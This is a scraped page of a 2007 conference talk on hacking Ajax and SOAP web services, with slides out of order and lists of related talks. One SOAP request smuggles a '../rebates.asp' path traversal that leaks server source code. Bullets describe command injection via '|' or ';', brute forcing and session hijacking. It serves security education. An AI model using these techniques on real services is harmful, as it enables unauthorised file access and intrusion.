     <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
     <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
     xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
     xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
      <soap:Body>
        <soap:Fault>
         <faultcode>soap:Server</faultcode>
         <faultstring>Server was unable to process request. --&gt; Could not find file
     &amp;quot;c:inetpubwwwrootrebatesabx.xyz&amp;quot;.</faultstring>
         <detail />
        </soap:Fault>
      </soap:Body>
     </soap:Envelope>




     Fault Code
                                                                   Path Enumeration

© Shreeraj Shah                         [HITB 2007 KL]




                                                                                         43
SOAP request
                                                                  SOAP
          Forcing file                                            Envelope



       <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
       <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
       xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
       xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
        <soap:Body>
         <getRebatesInfo xmlns=quot;http://tempuri.org/quot;>
          <fileinfo>../rebates.asp</fileinfo>
         </getRebatesInfo>
        </soap:Body>
       </soap:Envelope>



      Input to the
      method
                                              Method
                                              Call

© Shreeraj Shah                     [HITB 2007 KL]




                           SOAP request                          File Access to
                                                                 system
          Parameter Temparing

       <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
       <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
       xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
       xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
        <soap:Body>
         <getRebatesInfoResponse xmlns=quot;http://tempuri.org/quot;>
          <getRebatesInfoResult>&lt;% ' file:            rebates.asp ' date:       20-
       AUG-03 ' desc:           rebates listing ' author:        nd ' client:
       dvds4less 'check if we have been called with a filename or without loc =
       request.querystring(quot;locquot;) lenloc = len(loc) if lenloc &gt; 0 then ' we have
       been called with a filename ' so print the rebate coupon%&gt;&lt;img
       …………………….
       </getRebatesInfoResult>
         </getRebatesInfoResponse>
        </soap:Body>
       </soap:Envelope>




© Shreeraj Shah                     [HITB 2007 KL]




                                                                                         44
AV 7 – SOAP brute forcing
     • SOAP envelope takes user & pass accounts.
     • It is possible to bruteforce SOAP envelope
       and look for specific responses.
     • This is a possible attack which can get into
       the system.
     • Analyzing SOAP response is key for this set
       of attack.



© Shreeraj Shah       [HITB 2007 KL]




            AV 8 – Parameter overflow
     • Adding large buffers to XML nodes
     • Depending on code controls – It may fail in
       handling
     • Breaking the application
     • May compromise as well
     • Traditional buffer overflow type attacks




© Shreeraj Shah       [HITB 2007 KL]




                                                      45
AV 9 – Operating System access
     •   Point to OS
     •   Remote command execution is possible
     •   Either by “|” or “;”
     •   Attack is very much possible
     •   Leads to admin/root on the box…




© Shreeraj Shah         [HITB 2007 KL]




              AV 10 – Session hijacking
     • Web services can maintain sessions
          - [WebMethod(EnableSession=true)]
     • Possible to reverse engineer session
     • Cookie tempering is reality…
     • Can be compared to traditional web
       application session.




© Shreeraj Shah         [HITB 2007 KL]




                                                46
Other attacks
     • External referencing – XML schema
     • XSS attack
     • In transit attacks – replay and spoofing




© Shreeraj Shah          [HITB 2007 KL]




                     Questions???
                   Email - shreeraj@blueinfy.com

                  Blog - http://shreeraj.blogspot.com




© Shreeraj Shah          [HITB 2007 KL]




                                                        47

More Related Content

What's hot

Web Services Hacking and Security
Web Services Hacking and SecurityWeb Services Hacking and Security
Web Services Hacking and SecurityBlueinfy Solutions
 
Blackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browserBlackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browserShreeraj Shah
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
 
Top 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperTop 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperShreeraj Shah
 
Advanced applications-architecture-threats
Advanced applications-architecture-threatsAdvanced applications-architecture-threats
Advanced applications-architecture-threatsBlueinfy Solutions
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software Shreeraj Shah
 
Assessment methodology and approach
Assessment methodology and approachAssessment methodology and approach
Assessment methodology and approachBlueinfy Solutions
 
Don't Drop the SOAP: Real World Web Service Testing for Web Hackers
Don't Drop the SOAP: Real World Web Service Testing for Web Hackers Don't Drop the SOAP: Real World Web Service Testing for Web Hackers
Don't Drop the SOAP: Real World Web Service Testing for Web Hackers Tom Eston
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Hacking web applications
Hacking web applicationsHacking web applications
Hacking web applicationsAdeel Javaid
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationBlueinfy Solutions
 
Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingAkash Mahajan
 
Mobile Application Scan and Testing
Mobile Application Scan and TestingMobile Application Scan and Testing
Mobile Application Scan and TestingBlueinfy Solutions
 
Owasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesOwasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesMarco Morana
 
Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2guest66dc5f
 

What's hot (20)

Web Services Hacking and Security
Web Services Hacking and SecurityWeb Services Hacking and Security
Web Services Hacking and Security
 
Blackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browserBlackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browser
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Top 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperTop 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - Whitepaper
 
Advanced applications-architecture-threats
Advanced applications-architecture-threatsAdvanced applications-architecture-threats
Advanced applications-architecture-threats
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software
 
Assessment methodology and approach
Assessment methodology and approachAssessment methodology and approach
Assessment methodology and approach
 
Don't Drop the SOAP: Real World Web Service Testing for Web Hackers
Don't Drop the SOAP: Real World Web Service Testing for Web Hackers Don't Drop the SOAP: Real World Web Service Testing for Web Hackers
Don't Drop the SOAP: Real World Web Service Testing for Web Hackers
 
Blind SQL Injection
Blind SQL InjectionBlind SQL Injection
Blind SQL Injection
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
Application fuzzing
Application fuzzingApplication fuzzing
Application fuzzing
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Hacking web applications
Hacking web applicationsHacking web applications
Hacking web applications
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumeration
 
HTML5 hacking
HTML5 hackingHTML5 hacking
HTML5 hacking
 
Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web Programming
 
Mobile Application Scan and Testing
Mobile Application Scan and TestingMobile Application Scan and Testing
Mobile Application Scan and Testing
 
Owasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesOwasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root Causes
 
Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2
 

Similar to Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise

Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007ClubHack
 
Find me if you can – smart fuzzing and discovery! shreeraj shah
Find me if you can – smart fuzzing and discovery!   shreeraj shahFind me if you can – smart fuzzing and discovery!   shreeraj shah
Find me if you can – smart fuzzing and discovery! shreeraj shahowaspindia
 
Web2.0 Ajax and REST in WebSphere Portal
Web2.0 Ajax and REST in WebSphere PortalWeb2.0 Ajax and REST in WebSphere Portal
Web2.0 Ajax and REST in WebSphere PortalMunish Gupta
 
(ATS3-GS02) Accelrys Enterprise Platform in Enterprise Architectures
(ATS3-GS02) Accelrys Enterprise Platform in Enterprise Architectures(ATS3-GS02) Accelrys Enterprise Platform in Enterprise Architectures
(ATS3-GS02) Accelrys Enterprise Platform in Enterprise ArchitecturesBIOVIA
 
A Snapshot of the Mobile HTML5 Revolution
A Snapshot of the Mobile HTML5 RevolutionA Snapshot of the Mobile HTML5 Revolution
A Snapshot of the Mobile HTML5 RevolutionJames Pearce
 
Building Cloud-Based Cross-Platform Mobile Web Apps
Building Cloud-Based Cross-Platform Mobile Web AppsBuilding Cloud-Based Cross-Platform Mobile Web Apps
Building Cloud-Based Cross-Platform Mobile Web AppsJames Pearce
 
Modern Architectures with Spring and JavaScript
Modern Architectures with Spring and JavaScriptModern Architectures with Spring and JavaScript
Modern Architectures with Spring and JavaScriptmartinlippert
 
SharePoint 2013 Hosted App Presentation by Roy Kim
SharePoint 2013 Hosted App Presentation by Roy KimSharePoint 2013 Hosted App Presentation by Roy Kim
SharePoint 2013 Hosted App Presentation by Roy KimRoy Kim
 
adrian coyler open tour keynote
adrian coyler open tour keynoteadrian coyler open tour keynote
adrian coyler open tour keynotemarklucovsky
 
Ajax World Oct2008 Jrd
Ajax World Oct2008 JrdAjax World Oct2008 Jrd
Ajax World Oct2008 Jrdrajivmordani
 
HTML5 and the dawn of rich mobile web applications
HTML5 and the dawn of rich mobile web applicationsHTML5 and the dawn of rich mobile web applications
HTML5 and the dawn of rich mobile web applicationsJames Pearce
 
Amish Umesh - Future Of Web App Testing - ClubHack2007
Amish Umesh - Future Of Web App Testing  - ClubHack2007Amish Umesh - Future Of Web App Testing  - ClubHack2007
Amish Umesh - Future Of Web App Testing - ClubHack2007ClubHack
 
4163A - What is Web 2.0.ppt
4163A - What is Web 2.0.ppt4163A - What is Web 2.0.ppt
4163A - What is Web 2.0.pptMatthew Perrins
 
Building cross platform mobile web apps
Building cross platform mobile web appsBuilding cross platform mobile web apps
Building cross platform mobile web appsJames Pearce
 
Building Cross Platform Mobile Web Apps
Building Cross Platform Mobile Web AppsBuilding Cross Platform Mobile Web Apps
Building Cross Platform Mobile Web AppsJames Pearce
 
Silverlight development
Silverlight developmentSilverlight development
Silverlight developmentAnurag Gupta
 
HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1James Pearce
 

Similar to Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise (20)

Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007
 
Find me if you can – smart fuzzing and discovery! shreeraj shah
Find me if you can – smart fuzzing and discovery!   shreeraj shahFind me if you can – smart fuzzing and discovery!   shreeraj shah
Find me if you can – smart fuzzing and discovery! shreeraj shah
 
Web2.0 Ajax and REST in WebSphere Portal
Web2.0 Ajax and REST in WebSphere PortalWeb2.0 Ajax and REST in WebSphere Portal
Web2.0 Ajax and REST in WebSphere Portal
 
(ATS3-GS02) Accelrys Enterprise Platform in Enterprise Architectures
(ATS3-GS02) Accelrys Enterprise Platform in Enterprise Architectures(ATS3-GS02) Accelrys Enterprise Platform in Enterprise Architectures
(ATS3-GS02) Accelrys Enterprise Platform in Enterprise Architectures
 
A Snapshot of the Mobile HTML5 Revolution
A Snapshot of the Mobile HTML5 RevolutionA Snapshot of the Mobile HTML5 Revolution
A Snapshot of the Mobile HTML5 Revolution
 
Building Cloud-Based Cross-Platform Mobile Web Apps
Building Cloud-Based Cross-Platform Mobile Web AppsBuilding Cloud-Based Cross-Platform Mobile Web Apps
Building Cloud-Based Cross-Platform Mobile Web Apps
 
Modern Architectures with Spring and JavaScript
Modern Architectures with Spring and JavaScriptModern Architectures with Spring and JavaScript
Modern Architectures with Spring and JavaScript
 
sMash_for_zOS-users
sMash_for_zOS-userssMash_for_zOS-users
sMash_for_zOS-users
 
SharePoint 2013 Hosted App Presentation by Roy Kim
SharePoint 2013 Hosted App Presentation by Roy KimSharePoint 2013 Hosted App Presentation by Roy Kim
SharePoint 2013 Hosted App Presentation by Roy Kim
 
Ajax white paper
Ajax white paperAjax white paper
Ajax white paper
 
adrian coyler open tour keynote
adrian coyler open tour keynoteadrian coyler open tour keynote
adrian coyler open tour keynote
 
Ajax World Oct2008 Jrd
Ajax World Oct2008 JrdAjax World Oct2008 Jrd
Ajax World Oct2008 Jrd
 
HTML5 and the dawn of rich mobile web applications
HTML5 and the dawn of rich mobile web applicationsHTML5 and the dawn of rich mobile web applications
HTML5 and the dawn of rich mobile web applications
 
Amish Umesh - Future Of Web App Testing - ClubHack2007
Amish Umesh - Future Of Web App Testing  - ClubHack2007Amish Umesh - Future Of Web App Testing  - ClubHack2007
Amish Umesh - Future Of Web App Testing - ClubHack2007
 
4163A - What is Web 2.0.ppt
4163A - What is Web 2.0.ppt4163A - What is Web 2.0.ppt
4163A - What is Web 2.0.ppt
 
Building cross platform mobile web apps
Building cross platform mobile web appsBuilding cross platform mobile web apps
Building cross platform mobile web apps
 
Building Cross Platform Mobile Web Apps
Building Cross Platform Mobile Web AppsBuilding Cross Platform Mobile Web Apps
Building Cross Platform Mobile Web Apps
 
Silverlight development
Silverlight developmentSilverlight development
Silverlight development
 
Silverlight development
Silverlight developmentSilverlight development
Silverlight development
 
HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1
 

More from Shreeraj Shah

Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectorsShreeraj Shah
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoShreeraj Shah
 
AppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services HackingAppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services HackingShreeraj Shah
 
Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)Shreeraj Shah
 
Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)Shreeraj Shah
 
Web Services Security Chess (RSA)
Web Services Security Chess (RSA)Web Services Security Chess (RSA)
Web Services Security Chess (RSA)Shreeraj Shah
 
Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)Shreeraj Shah
 
Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)Shreeraj Shah
 

More from Shreeraj Shah (8)

Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat Preso
 
AppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services HackingAppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services Hacking
 
Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)
 
Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)
 
Web Services Security Chess (RSA)
Web Services Security Chess (RSA)Web Services Security Chess (RSA)
Web Services Security Chess (RSA)
 
Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)
 
Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)
 

Recently uploaded

Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesBoston Institute of Analytics
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessPixlogix Infotech
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 

Recently uploaded (20)

Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 

Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise

  • 1. Hacking Ajax and Web Services Next Generation Web Attacks on the Rise Shreeraj Shah KL, Malaysia 6th Sept. 2007 © Shreeraj Shah [HITB 2007 KL] Who am I? http://shreeraj.blogspot.com shreeraj@blueingy.com • Founder & Director - Blueinfy Solutions Pvt. Ltd. (Brief) • Past experience - Net Square, Chase, IBM & Foundstone • Interest - Web security research • Published research - Articles / Papers – Securityfocus, O’erilly, DevX, InformIT etc. - Tools – wsScanner, wsChess, MSNPawn, Ajaxfinger, Scanajax - Advisories - .Net, Java servers etc. • Books (Author) - Hacking Web Services (Thomson 2006) - Web Hacking (AWL 2003) - Web 2.0 Security (Work in progress) © Shreeraj Shah [HITB 2007 KL] 1
  • 2. Web 2.0 – Industry, Trends & Technologies © Shreeraj Shah [HITB 2007 KL] Industry - Web 2.0 © Shreeraj Shah [HITB 2007 KL] 2
  • 3. Industry • By the end of 2007, Gartner predicts 30 percent of large companies will have some kind of Web 2.0-based business initiative up and running. • Web Services is forming back end and accessible on XML protocols • AJAX – empowering browsers • XML based services • Rich Internet Applications are consuming back end web services • Search engines and mechanisms for web services publishing are getting momentum © Shreeraj Shah [HITB 2007 KL] Industry • 2007. Web services would rocket from $1.6 billion in 2004 to $34 billion. [IDC] • 2008. Web Services or Service-Oriented Architecture (SOA) would surge ahead. [Gartner] • Web 2.0 and Enterprise 2.0 are on its way to redefine application layer © Shreeraj Shah [HITB 2007 KL] 3
  • 4. Web 2.0 Architecture Documents News Weather Mails Bank/Trade Internet Browser RSS feeds Ajax Internet RIA (Flash) Web 2.0 Start HTML / JS / DOM Blog Database Authentication Application Infrastructure Web Services End point © Shreeraj Shah [HITB 2007 KL] Web 2.0 Components Protocol Layer SOAP XML-RPC REST Server Layer HTTP/HTTPS Ajax Flash / RIA SOA/WOA SaaS HTML/CSS JavaScript Web Services Ajax Widget DOM JSON XML Traditional APIs Client Layer RSS/ATOM Text JS-Objects Custom Structure Layer © Shreeraj Shah [HITB 2007 KL] 4
  • 5. Technologies Internet DMZ Trusted SOAP, REST, XML-RPC Web Service W Client E Application Scripted B Web Servers Web S Server And Engine E Static pages Dynamic pages Web Integrated R HTML,HTM etc.. ASP DHTML, V Client Framework PHP,CGI Etc.. I X ASP.NET with C .Net E J2EE App S Server Web Services Etc.. DB © Shreeraj Shah Internal/Corporate [HITB 2007 KL] Web 2.0 Security – On the rise © Shreeraj Shah [HITB 2007 KL] 5
  • 6. Web 2.0 Security • Complex architecture and confusion with technologies • Web 2.0 worms and viruses – Sammy, Yammaner & Spaceflash • Ajax and JavaScripts – Client side attacks are on the rise • Web Services attacks and exploitation • Flash clients are running with risks © Shreeraj Shah [HITB 2007 KL] Web 2.0 Security • Watch out for Web 2.0 security risks: Gartner • Mashup and un-trusted sources • RSS feeds manipulation and its integration • Single Sign On and information convergence at one point • Widgets and third-party components are bringing security concerns • Old attacks with new carriers © Shreeraj Shah [HITB 2007 KL] 6
